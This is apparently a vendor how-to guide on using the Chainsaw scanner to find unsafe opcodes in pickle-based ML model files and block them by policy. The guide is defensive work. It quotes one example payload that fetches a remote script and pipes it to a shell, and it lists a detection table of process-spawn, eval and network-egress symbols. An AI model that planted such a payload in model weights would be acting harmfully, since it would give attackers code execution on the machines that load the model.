How to Scan ML Model Artifacts for Unsafe Pickle Opcodes

Advanced 20 minutes ML Platform Engineers / Security Engineers AI-ML Supply Chain

Stop a malicious model weight from executing arbitrary code at load time. Walks through Chainsaw's pickle opcode scanner, the unsafe opcode list, and how to write a policy that blocks Hugging Face and PyPI artifacts that ship with `os`, `subprocess`, or `builtins.eval` references in their serialized state.

Why This Matters

A pickle file is not a data format — it is a tiny program. When torch.load() or pickle.loads() deserializes a .bin, .pt, .pkl, or pickle-backed .safetensors file, every opcode in that program runs in the loading process. An attacker who slips an os.system("curl evil.sh | sh") into a model weight gets remote code execution the first time anyone fine-tunes or serves the model.

The defense is not “trust the publisher” — popular Hugging Face accounts have been compromised before, and an attacker who pushes a single bad weight gets a free shell across every team that pulls the model that week. The defense is to walk the opcode stream before anyone calls torch.load() and refuse the artifact if it references dangerous symbols.

Chainsaw does this for you on every Hugging Face / PyPI / Conda artifact that contains a pickle, then exposes the result as a policy condition.

Modern PyTorch checkpoints (.pt, .bin, .ckpt, and diffusers weights) are not raw pickles. Since PyTorch 1.6 (2020), torch.save() writes a zip container with the real pickle nested inside at archive/data.pkl — the format the overwhelming majority of Hugging Face models ship in. Chainsaw unwraps that container before scanning, so the opcode walk sees the inner pickle the same way torch.load() will. A malicious symbol hidden inside a zip-wrapped checkpoint is caught, not just one in a hand-crafted raw .pkl. Nested-zip depth and total decompressed size are capped; an artifact that trips a cap is surfaced as container_scan_incomplete (a warning) rather than silently passed as clean.

Prerequisites

  • Hugging Face or pip configured to flow through Chainsaw — see How to Configure Package Managers
  • Manager or Admin role
  • Some understanding of pickle opcodes is useful but not required

Step 1: Confirm the Scanner Is Running

Pickle scanning is on by default. To confirm, hit the data-source health endpoint:

curl -H "Authorization: Bearer $CHAINSAW_TOKEN" \
     https://chain305.com/chainproxy/api/intelligence/datasources \
     | jq '.datasources[] | select(.name == "pickle_opcode_scanner")'

You should see "status": "ready". If it shows "disabled", an admin has overridden the default — re-enable it via the env var:

CHAINSAW_PICKLE_SCAN=1

Step 2: Understand the Unsafe Opcode List

The scanner walks every GLOBAL, STACK_GLOBAL, REDUCE, BUILD, and INST opcode in the pickle stream and records the qualified name being referenced. A name lands on the unsafe list if it falls into any of these buckets:

BucketExamplesWhy it’s unsafe
Process spawnos.system, os.popen, subprocess.Popen, subprocess.run, subprocess.callDirect shell execution at load time
Code evaluationbuiltins.eval, builtins.exec, builtins.compileArbitrary Python execution
Module manipulationimportlib.import_module, __import__, builtins.getattr (when the operand is also pickle-controlled)Lazy loading of attacker-chosen modules
Network egressurllib.request.urlopen, socket.socket, http.client.HTTPSConnectionPhone-home / second-stage download
Filesystem writebuiltins.open (write mode), os.write, pickle.dumpPersistence beyond load time

Chainsaw ships the full unsafe-symbol set built in. The set is conservative — false positives are rare because legitimate weights almost never invoke any of these symbols at load time.

Step 3: View Scan Results in the BOM

After a Hugging Face model artifact flows through Chainsaw, open Bill of Materials, find the artifact, and click into the detail panel. The Pickle Scan section shows:

FieldMeaning
opcodes_scannedTotal opcode count walked
unsafe_symbolsList of qualified names from the unsafe set that were referenced
first_offsetByte offset in the file of the first unsafe reference (useful for the upstream report)
scan_outcomeclean, unsafe, not_pickle (e.g., a real safetensors file with no pickle inside), container_scan_incomplete (a zip-container checkpoint whose nested-zip depth or decompressed-size cap tripped — treated as a warning, never as clean), truncated (file exceeded CHAINSAW_PICKLE_SCAN_BYTES_CAP)
Pickle scan results in the BOM detail panel
The detail panel shows every unsafe symbol referenced by the artifact's pickle stream

Step 4: Write a Block Policy

Open Policies → Create Policy and use the aiml.pickle_unsafe condition:

SettingValue
NameBlock pickle artifacts that reference unsafe symbols
ActionBlock
Conditionsaiml.pickle_unsafe == true
Surfaceproxy, pr
ScopeAll Hugging Face and PyPI repositories
PrecedenceJust below malware blocks (~75)

The condition fires whenever unsafe_symbols is non-empty for any artifact in the request.

For teams that need to ship pickle weights but can audit the symbols, the safer policy is Quarantine plus a notification:

SettingValue
ActionQuarantine + ActionNotifyOwner
Conditionsaiml.pickle_unsafe == true
Owner routingCODEOWNERS resolution on the manifest path

This lets the model sit quarantined while the owning team does an opcode review. See How to Route Violations to Owners.

Step 5: Prefer Safetensors Where You Can

The cleanest fix is to stop shipping pickle altogether. The safetensors format is a flat tensor blob with a JSON header — no opcodes, no __reduce__, no surface for this attack. Add a complementary policy:

SettingValue
NamePrefer safetensors over pickle
ActionActionNotifyOwner
Conditionsaiml.artifact_subtype == "model" AND aiml.serialization_format == "pickle" AND aiml.has_safetensors_alternative == true

The has_safetensors_alternative signal is set when the same Hugging Face revision also publishes a model.safetensors — meaning the consumer can switch with a one-line code change.

Step 6: Tune the Size Cap

By default the scanner walks the first 256 MB of any pickle stream. Files larger than that are returned with scan_outcome: truncated. To raise the cap:

CHAINSAW_PICKLE_SCAN_BYTES_CAP=2147483648   # 2 GB

Truncated artifacts are not automatically considered safe — the truncation flag is a signal in itself. Pair it with a policy if your environment regularly pulls multi-GB checkpoints:

aiml.pickle_unsafe == true OR aiml.pickle_scan_truncated == true → Quarantine

Verification

  1. Pull a known-clean model through Chainsaw (e.g. huggingface_hub.snapshot_download of a small public model). The BOM detail should show scan_outcome: clean, unsafe_symbols: [].
  2. From a sandboxed dev environment, attempt to pull a deliberately crafted pickle that references os.system. The proxy should return a 403 with the aiml.pickle_unsafe policy match in the audit entry. Do not run this test against production credentials — even a quarantined artifact should be handled in isolation.
  3. Confirm the violation appears in /investigate/findings with the unsafe symbol list attached.